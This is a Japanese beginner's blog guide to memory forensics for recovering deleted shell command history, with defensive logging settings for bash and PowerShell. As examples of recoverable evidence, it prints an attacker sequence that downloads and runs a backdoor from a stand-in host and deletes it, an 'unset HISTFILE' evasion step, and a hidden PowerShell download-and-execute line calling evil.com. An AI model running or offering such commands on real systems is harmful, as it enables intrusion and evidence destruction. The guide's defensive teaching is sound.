【入門編】 メモリ上のコマンド履歴とシェルセッションの復元 – インシデントレスポンス & フォレンジック(DFIR)防御ガイド

こんにちは!デジタルフォレンジックの世界へようこそ。私は普段、サイバー攻撃という「目に見えない事件」の現場に急行し、犯人が残したわずかな痕跡をたどるSOC(セキュリティ・オペレーション・センター)アナリストです。

よく「セキュリティって難しそう……」という声を耳にします。確かに、専門用語が並ぶと頭が痛くなりますよね。でも、実はサイバーセキュリティの考え方は、皆さんの「お家の防犯」と驚くほど似ているんです。

今日は、インシデントレスポンス(事件対応)の要とも言える「メモリフォレンジック」、その中でも特に「犯人が打ったコマンドをどうやって見つけ出すか」というテーマを、泥棒と家の鍵の例えを交えて、優しく、かつ現場のリアルな視点で紐解いていきましょう。

—

1. 犯人は「証拠」を消して逃げるもの

泥棒が家に忍び込んだとき、一番に考えることは何でしょうか?
それは「自分がそこに入った証拠を消すこと」です。

サイバー攻撃者も同じです。彼らはサーバーに侵入して悪さをした後、自分が実行したコマンドの履歴(Linuxなら .bash_history、WindowsならPowerShellの履歴ファイルなど)を、証拠隠滅のために真っ先に消去してしまいます。

「履歴ファイルが消されたら、もう何をされたか分からないじゃないか!」

そう絶望したくなる気持ち、よく分かります。でも、諦めるのはまだ早いですよ。ここで登場するのが「メモリフォレンジック」という技術です。

—

2. メモリは「まだ乾いていない足跡」

メモリ(RAM)というのは、パソコンにとっての「作業机」のような場所です。
泥棒が日記帳(履歴ファイル)を破り捨てたとしても、作業机の上にはまだ「さっきまで使っていた道具」や「書きかけのメモ」が散らばっていますよね。あるいは、泥棒が歩いた絨毯には「まだ消えていない足跡」が残っているかもしれません。

これがメモリの状態です。
ハードディスクという「倉庫」に記録される前の、まさに「今この瞬間の実行データ」がメモリには生々しく残っているのです。

なぜメモリにコマンドが残るの?

私たちがコマンドを打つとき、コンピュータの裏側では以下のようなことが起きています。

1. 入力: あなたが bash や PowerShell でコマンドを打つ。
2. 展開: そのコマンドは、処理のために一度メモリ上にロード(読み込み)される。
3. 実行: CPUがメモリ上のその命令を読み取って実行する。
4. 保存: ログアウトなどのタイミングで、初めてファイルに書き込まれる(※設定によります)。

つまり、「ファイルに書き込まれる前」や「ファイルが消された後」でも、メモリの中にはそのコマンドの残像が浮遊しているのです。

—

3. 実践!メモリから「悪意」を救い出す

では、実際に現場で私たちがどのような調査をしているのか、少しだけ具体的に覗いてみましょう。

Linuxの場合(Bashの残像)

攻撃者はよく、証拠を残さないために unset HISTFILE という魔法の呪文を唱えます。これを打つと、その後のコマンドが履歴ファイルに保存されなくなります。

しかし、メモリの中を覗くツール(Volatilityなど)を使うと、実行中の bash プロセスが保持しているメモリ領域から、以下のような「生々しいコマンド」を復元できることがあります。

# 現場で見つかる「消されたはずの」コマンド例
cd /tmp
wget http://malicious-site.com/backdoor.sh  # 悪意あるプログラムをダウンロード
chmod +x backdoor.sh                        # 実行権限を与える
./backdoor.sh                               # 実行!
rm backdoor.sh                              # 証拠隠滅のためにファイルを消す
exit                                        # さようなら

履歴ファイルが空っぽでも、メモリを解析すれば「あ、この時間に /tmp で怪しいファイルをダウンロードして実行しているな!」と一目瞭然になるわけです。

Windowsの場合(PowerShellの罠)

今の時代の攻撃者が最も好むのが PowerShell です。彼らは複雑なスクリプトを、ファイルとして保存せずに「メモリ内で直接実行」する手法をよく使います。

これに対抗するため、私たちはメモリ内のバッファを解析し、以下のような難読化(わざと読みづらくされた)コードを特定します。

# 攻撃者がよく使う、わざと読みづらくしたコードのイメージ
# 実際はもっと複雑ですが、メモリ上には展開された「素顔」が残ることがあります。
$code = "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')"
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command $code

—

4. 私たちが今すぐできる「防犯カメラ」の設定

「メモリから復元できるなら安心だね!」……と思うのは、少し危険です。
メモリはパソコンの電源を切ると消えてしまいます(揮発性といいます)。また、時間が経つと新しいデータに上書きされてしまいます。

一番大切なのは、「泥棒が来ても、しっかり証拠が残るようにあらかじめ設定しておくこと」です。これは、お家に防犯カメラを設置するのと同じくらい重要です。

新人エンジニアの皆さんにまずおすすめしたい設定例を挙げておきますね。

① PowerShellの「逐一記録」を有効にする

Windowsなら「スクリプトブロックログ」を有効にしましょう。これを設定すると、たとえ攻撃者がメモリ内で複雑なコードを動かしても、その「実行された中身」がイベントログにしっかり記録されます。

② Linuxのコマンド履歴に「日時」をつける

デフォルトの bash 履歴は、いつ実行されたかが分かりにくいものです。.bashrc に以下の1行を追加するだけで、調査のしやすさが劇的に変わります。

# ~/.bashrc に追記する設定例
# 履歴に「年-月-日 時:分:秒」を記録するようにします
export HISTTIMEFORMAT='%Y-%m-%d %H:%M:%S '

# 履歴の容量を増やして、古い証拠が消えにくくします
export HISTSIZE=10000
export HISTFILESIZE=20000

—

5. まとめ:一歩ずつ「守れるエンジニア」へ

いかがでしたでしょうか?
「メモリフォレンジック」と聞くと難解なイメージがありますが、その本質は「消されたはずの足跡を、作業机(メモリ)から見つけ出すこと」にあります。

もし皆さんが管理しているシステムで「何かおかしいぞ?」と感じることがあったら、まずは慌てて再起動(=メモリの証拠を完全に消去)する前に、詳しい人に相談してみてくださいね。

セキュリティは、犯人との知恵比べです。
でも、仕組みを一つずつ紐解いていけば、決して怖いものではありません。
「泥棒に入られないためには?」「入られた後にどう動くか?」
この視点を大切に、一緒に少しずつ学んでいきましょう!

これからも、皆さんの大切なシステム(お家)を守るためのヒントをお届けしていきます。
それでは、また次回の記事でお会いしましょう!

コメント

タイトルとURLをコピーしました